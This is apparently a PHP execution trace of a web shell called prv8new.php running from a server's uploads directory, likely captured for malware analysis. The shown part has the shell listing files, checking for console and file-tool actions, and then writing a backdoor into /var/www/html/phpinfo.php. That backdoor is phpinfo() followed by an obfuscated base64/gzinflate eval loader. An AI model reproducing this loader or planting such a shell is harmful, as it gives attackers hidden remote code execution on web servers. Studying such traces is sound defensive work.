5	172	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
5	173	0	0.027289	1247432	filegroup	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	'prv8new.php'
5	173	1	0.027304	1247472
5	173	R			1000
5	174	0	0.027317	1247432	posix_getgrgid	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	1	1000
5	174	1	0.027349	1248088
5	174	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
5	175	0	0.027386	1247968	filemtime	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/prv8new.php'
5	175	1	0.027403	1248032
5	175	R			1676259889
5	176	0	0.027416	1247928	date	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676259889
5	176	1	0.027448	1248256
5	176	R			'2023-02-12 22:44:49'
5	177	0	0.027463	1248248	viewPermsColor	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/prv8new.php'
6	178	0	0.027478	1248248	is_readable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/prv8new.php'
6	178	1	0.027494	1248288
6	178	R			TRUE
6	179	0	0.027507	1248248	is_writable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/prv8new.php'
6	179	1	0.027524	1248288
6	179	R			FALSE
6	180	0	0.027537	1248248	fileperms	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	340	1	'/var/www/html/uploads/prv8new.php'
6	180	1	0.027551	1248288
6	180	R			33204
6	181	0	0.027565	1248248	perms	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	340	1	33204
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	319	$i = '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	327	$i .= '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	330	$i .= '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	332	$i .= '-'
6		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	333	$i .= '-'
6	181	1	0.027684	1248288
6	181	R			'-rw-rw-r--'
5	177	1	0.027699	1248328
5	177	R			'<font color=white><b>-rw-rw-r--</b></font>'
5	182	0	0.027716	1248328	filesize	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/prv8new.php'
5	182	1	0.027730	1248368
5	182	R			71407
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => 'prv8new.php', 'path' => '/var/www/html/uploads/prv8new.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes']
5	183	0	0.027767	1247952	is_file	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/prv8new.php'
5	183	1	0.027781	1247992
5	183	R			TRUE
5	184	0	0.027795	1247888	array_merge	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1050	2	['name' => 'prv8new.php', 'path' => '/var/www/html/uploads/prv8new.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
5	184	1	0.027818	1248328
5	184	R			['name' => 'prv8new.php', 'path' => '/var/www/html/uploads/prv8new.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1050	$files[] = ['name' => 'prv8new.php', 'path' => '/var/www/html/uploads/prv8new.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1056	GLOBALS['sort'] = [0 => 'name', 1 => 1]
5	185	0	0.027900	1248288	usort	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1063	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 2 => ['name' => 'prv8new.php', 'path' => '/var/www/html/uploads/prv8new.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]	'cmp'
6	186	0	0.027936	1248736	cmp	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1063	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
7	187	0	0.027965	1248736	strtolower	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1059	1	'.htaccess'
7	187	1	0.027980	1248768
7	187	R			'.htaccess'
7	188	0	0.027994	1248736	strtolower	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1059	1	'prepend.php'
7	188	1	0.028008	1248768
7	188	R			'prepend.php'
7	189	0	0.028022	1248736	strcmp	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1059	2	'.htaccess'	'prepend.php'
7	189	1	0.028038	1248800
7	189	R			-1
6	186	1	0.028052	1248736
6	186	R			-1
6	190	0	0.028065	1248736	cmp	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1063	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'prv8new.php', 'path' => '/var/www/html/uploads/prv8new.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
7	191	0	0.028094	1248736	strtolower	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1059	1	'prepend.php'
7	191	1	0.028108	1248768
7	191	R			'prepend.php'
7	192	0	0.028122	1248736	strtolower	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1059	1	'prv8new.php'
7	192	1	0.028135	1248768
7	192	R			'prv8new.php'
7	193	0	0.028150	1248736	strcmp	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1059	2	'prepend.php'	'prv8new.php'
7	193	1	0.028164	1248800
7	193	R			-1
6	190	1	0.028177	1248736
6	190	R			-1
5	185	1	0.028190	1248360
5	185	R			TRUE
5	194	0	0.028203	1248312	usort	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1064	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'cmp'
6	195	0	0.028232	1248760	cmp	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1064	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
7	196	0	0.028259	1248760	strtolower	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1059	1	'..'
7	196	1	0.028273	1248792
7	196	R			'..'
7	197	0	0.028286	1248760	strtolower	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1059	1	'data'
7	197	1	0.028299	1248792
7	197	R			'data'
7	198	0	0.028312	1248760	strcmp	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1059	2	'..'	'data'
7	198	1	0.028325	1248824
7	198	R			-3552051
6	195	1	0.028339	1248760
6	195	R			-3552051
5	194	1	0.028353	1248384
5	194	R			TRUE
5	199	0	0.028365	1248312	array_merge	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1065	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 2 => ['name' => 'prv8new.php', 'path' => '/var/www/html/uploads/prv8new.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]
5	199	1	0.028413	1248752
5	199	R			[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'prv8new.php', 'path' => '/var/www/html/uploads/prv8new.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1065	$files = [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'prv8new.php', 'path' => '/var/www/html/uploads/prv8new.php', 'modify' => '2023-02-12 22:44:49', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71407, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1066	$l = 0
5	200	0	0.028523	1248392	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'..'
5	200	1	0.028538	1248456
5	200	R			'..'
5	201	0	0.028553	1248520	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'..'
5	201	1	0.028568	1248712
5	201	R			'..'
5	202	0	0.028582	1248632	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'..'
5	202	1	0.028596	1248696
5	202	R			'..'
5	203	0	0.028609	1248760	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'..'
5	203	1	0.028622	1248824
5	203	R			'..'
5	204	0	0.028635	1248952	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'..'
5	204	1	0.028649	1249016
5	204	R			'..'
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 1
5	205	0	0.028674	1248408	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'data'
5	205	1	0.028688	1248472
5	205	R			'data'
5	206	0	0.028702	1248520	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'data'
5	206	1	0.028716	1248712
5	206	R			'data'
5	207	0	0.028731	1248632	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'data'
5	207	1	0.028744	1248696
5	207	R			'data'
5	208	0	0.028758	1248760	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'data'
5	208	1	0.028771	1248824
5	208	R			'data'
5	209	0	0.028784	1248952	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'data'
5	209	1	0.028797	1249016
5	209	R			'data'
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 0
5	210	0	0.028822	1248392	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'.htaccess'
5	210	1	0.028836	1248464
5	210	R			'.htaccess'
5	211	0	0.028850	1248440	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'.htaccess'
5	211	1	0.028863	1248512
5	211	R			'.htaccess'
5	212	0	0.028877	1248520	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'.htaccess'
5	212	1	0.028891	1248712
5	212	R			'.htaccess'
5	213	0	0.028905	1248504	viewSize	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	64
5	213	1	0.028920	1248536
5	213	R			'64 B'
5	214	0	0.028935	1248632	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'.htaccess'
5	214	1	0.028948	1248704
5	214	R			'.htaccess'
5	215	0	0.028962	1248760	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	215	1	0.028974	1248832
5	215	R			'.htaccess'
5	216	0	0.028987	1248952	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	216	1	0.029020	1249024
5	216	R			'.htaccess'
5	217	0	0.029034	1248952	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	217	1	0.029086	1249024
5	217	R			'.htaccess'
5	218	0	0.029101	1249176	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	218	1	0.029115	1249248
5	218	R			'.htaccess'
5	219	0	0.029128	1249272	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'.htaccess'
5	219	1	0.029141	1249344
5	219	R			'.htaccess'
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 1
5	220	0	0.029173	1248408	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prepend.php'
5	220	1	0.029188	1248480
5	220	R			'prepend.php'
5	221	0	0.029201	1248472	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prepend.php'
5	221	1	0.029215	1248544
5	221	R			'prepend.php'
5	222	0	0.029229	1248552	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prepend.php'
5	222	1	0.029247	1248744
5	222	R			'prepend.php'
5	223	0	0.029262	1248536	viewSize	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	57
5	223	1	0.029277	1248568
5	223	R			'57 B'
5	224	0	0.029292	1248632	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prepend.php'
5	224	1	0.029306	1248704
5	224	R			'prepend.php'
5	225	0	0.029320	1248824	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	225	1	0.029333	1248896
5	225	R			'prepend.php'
5	226	0	0.029347	1248952	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	226	1	0.029360	1249024
5	226	R			'prepend.php'
5	227	0	0.029374	1248952	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	227	1	0.029387	1249024
5	227	R			'prepend.php'
5	228	0	0.029401	1249176	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	228	1	0.029413	1249248
5	228	R			'prepend.php'
5	229	0	0.029426	1249336	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prepend.php'
5	229	1	0.029439	1249408
5	229	R			'prepend.php'
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 0
5	230	0	0.029465	1248392	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prv8new.php'
5	230	1	0.029479	1248464
5	230	R			'prv8new.php'
5	231	0	0.029493	1248440	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prv8new.php'
5	231	1	0.029507	1248512
5	231	R			'prv8new.php'
5	232	0	0.029521	1248520	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prv8new.php'
5	232	1	0.029535	1248712
5	232	R			'prv8new.php'
5	233	0	0.029549	1248536	viewSize	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	71407
6	234	0	0.029564	1248536	sprintf	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	312	2	'%1.2f'	69.7333984375
6	234	1	0.029580	1248920
6	234	R			'69.73'
5	233	1	0.029594	1248576
5	233	R			'69.73 KB'
5	235	0	0.029608	1248632	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1068	1	'prv8new.php'
5	235	1	0.029622	1248704
5	235	R			'prv8new.php'
5	236	0	0.029636	1248824	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prv8new.php'
5	236	1	0.029649	1248896
5	236	R			'prv8new.php'
5	237	0	0.029663	1248952	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prv8new.php'
5	237	1	0.029677	1249024
5	237	R			'prv8new.php'
5	238	0	0.029690	1248952	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prv8new.php'
5	238	1	0.029704	1249024
5	238	R			'prv8new.php'
5	239	0	0.029717	1249176	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prv8new.php'
5	239	1	0.029731	1249248
5	239	R			'prv8new.php'
5	240	0	0.029744	1249336	urlencode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1069	1	'prv8new.php'
5	240	1	0.029757	1249408
5	240	R			'prv8new.php'
4		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1070	$l = 1
5	241	0	0.029783	1248312	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1075	1	'/var/www/html/uploads/'
5	241	1	0.029798	1248504
5	241	R			'/var/www/html/uploads/'
5	242	0	0.029817	1248312	class_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1081	1	'ZipArchive'
5	242	1	0.029833	1248352
5	242	R			FALSE
5	243	0	0.029848	1248312	hardFooter	1		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1088	0
6	244	0	0.029861	1248312	is_writable	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	257	1	'/var/www/html/uploads/'
6	244	1	0.029880	1248352
6	244	R			TRUE
5		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	257	$is_writable = ' <font color=\'#ffffff\'>[ Writeable ]</font>'
6	245	0	0.029909	1248312	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	262	1	'actionFilesMan'
6	245	1	0.029929	1248352
6	245	R			TRUE
6	246	0	0.029943	1248568	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	262	1	'/var/www/html/uploads/'
6	246	1	0.029957	1248760
6	246	R			'/var/www/html/uploads/'
6	247	0	0.029972	1248696	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	263	1	'actionFilesTools'
6	247	1	0.029987	1248736
6	247	R			TRUE
6	248	0	0.030001	1248952	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	265	1	'actionFilesMan'
6	248	1	0.030016	1248992
6	248	R			TRUE
6	249	0	0.030030	1249208	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	266	1	'actionFilesTools'
6	249	1	0.030045	1249248
6	249	R			TRUE
6	250	0	0.030059	1249592	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	268	1	'actionConsole'
6	250	1	0.030073	1249632
6	250	R			TRUE
6	251	0	0.030086	1249592	function_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	269	1	'actionFilesMan'
6	251	1	0.030100	1249632
6	251	R			TRUE
6	252	0	0.030113	1249848	htmlspecialchars	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	271	1	'/var/www/html/uploads/'
6	252	1	0.030128	1250040
6	252	R			'/var/www/html/uploads/'
5	243	1	0.030144	1248312
4	46	1	0.030153	1241024
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1696	$ikrhtfy = '/var/www/html/phpinfo.php'
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1699	$fghky_ouvcbt = '<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3Yto'
4	253	0	0.030203	1241080	file_exists	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1710	1	'/var/www/html/phpinfo.php'
4	253	1	0.030227	1241120
4	253	R			FALSE
4	254	0	0.030241	1241080	touch	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1712	1	'/var/www/html/phpinfo.php'
4	254	1	0.030287	1241120
4	254	R			TRUE
4	255	0	0.030302	1241080	chmod	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1713	2	'/var/www/html/phpinfo.php'	438
4	255	1	0.030321	1241152
4	255	R			TRUE
4	256	0	0.030334	1241080	fopen	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1717	2	'/var/www/html/phpinfo.php'	'w'
4	256	1	0.030374	1241736
4	256	R			resource(5) of type (stream)
3		A						/var/www/html/uploads/prv8new.php(4) : eval()'d code(1) : eval()'d code	1717	$opazxcdnm = resource(5) of type (stream)
